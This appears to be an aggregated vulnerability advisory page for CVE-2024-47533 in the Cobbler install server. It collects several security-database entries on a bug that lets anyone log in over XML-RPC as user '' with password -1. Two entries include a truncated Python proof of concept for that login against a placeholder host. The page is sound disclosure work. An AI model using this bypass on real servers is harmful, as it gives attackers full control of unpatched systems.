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bdu:2024-09952

EUVD-2026-202410

fkie_cve-2024-47533

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.

GHSA-m26c-fcgh-cp6h — cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

Affected: PyPI: cobbler

### Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

### Details utils.py get_shared_secret: ``` def get_shared_secret() -> Union[str, int]: """ The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required. For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

:return: The Cobbler secret which enables full access to Cobbler. """

try: with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd: data = fd.read() except: return -1 return str(data).strip() ``` Always returns `-1` because of the following exception: ``` binary mode doesn't take an encoding argument ```

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

### PoC ``` #!/usr/bin/python3

import ssl import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 } ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/cobbler_api'.format(**params) if ssl_context: conn = xmlrpc.client.ServerProxy(url, context=ssl_context) else: conn = xmlrpc.client.Server(url)

try: token = conn.login(para…

OESA-2025-1411 — cobbler security update

Affected: openEuler:22.03-LTS-SP4: cobbler

Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, &apos;koan&apos;, that integrates with cobbler. Cobbler&apos;s advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications. Security Fix(es):

openSUSE-SU-2024:0370-1 — Security update for cobbler

Security update for cobbler

PYSEC-2026-316 — cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

Affected: PyPI: cobbler

### Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

:return: The Cobbler secret which enables full access to Cobbler. """

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

### PoC ``` #!/usr/bin/python3

import ssl import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 } ssl_context = ssl._create_unverified_context() url = '{proto}://{host}:{port}/cobbler_api'.format(**params) if ssl_context: conn = xmlrpc.client.ServerProxy(url, context=ssl_context) else: conn = xmlrpc.client.Server(url)

try: token = conn.login(p…

SUSE-SU-2024:4006-1 — Security update for SUSE Manager Server 4.3

Security update for SUSE Manager Server 4.3

Withdrawn: UBUNTU-CVE-2024-47533

Withdrawn by the publisher.

Affected: Ubuntu:Pro:16.04:LTS: cobbler

WID-SEC-W-2024-3491 — cobbler: Schwachstelle ermöglicht Erlangen von Administratorrechten

Ein entfernter, anonymer Angreifer kann eine Schwachstelle in cobbler ausnutzen, um Administratorrechte zu erlangen.